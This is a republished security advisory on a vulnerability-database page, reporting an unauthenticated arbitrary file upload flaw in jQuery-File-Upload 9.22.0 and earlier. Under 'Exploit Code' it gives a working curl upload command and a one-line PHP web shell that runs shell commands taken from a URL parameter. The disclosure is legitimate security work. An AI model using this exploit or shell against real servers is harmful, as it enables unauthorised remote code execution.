Lucene search
K

jQuery-File-Upload 9.22.0 Arbitrary File Upload Vulnerability

🗓️ 10 Oct 2018 00:00:00Reported by Larry CashdollarType 
zdt
 zdt
🔗 0day.today👁 38 Views

jQuery-File-Upload 9.22.0 Arbitrary File Upload Vulnerability. Unauthenticated file upload allows remote code execution

Code
Title: jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Author: Larry W. Cashdollar, @_larry0
Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
Vendor: https://github.com/blueimp
Vendor Notified: 2018-10-09
Advisory: http://www.vapidlabs.com/advisory.php?v=204
Description: File Upload widget with multiple file selection, drag&drop support, progress bar, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
Vulnerability:
The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php doesn't require any validation to upload files
to the server.  It also doesn't exclude file types.  This allows for remote code execution.

Exploit Code:
$ curl   -F "[email protected]" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php
 
Where shell.php is:
 
<?php $cmd=$_GET['cmd']; system($cmd);?>

#  0day.today [2018-10-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation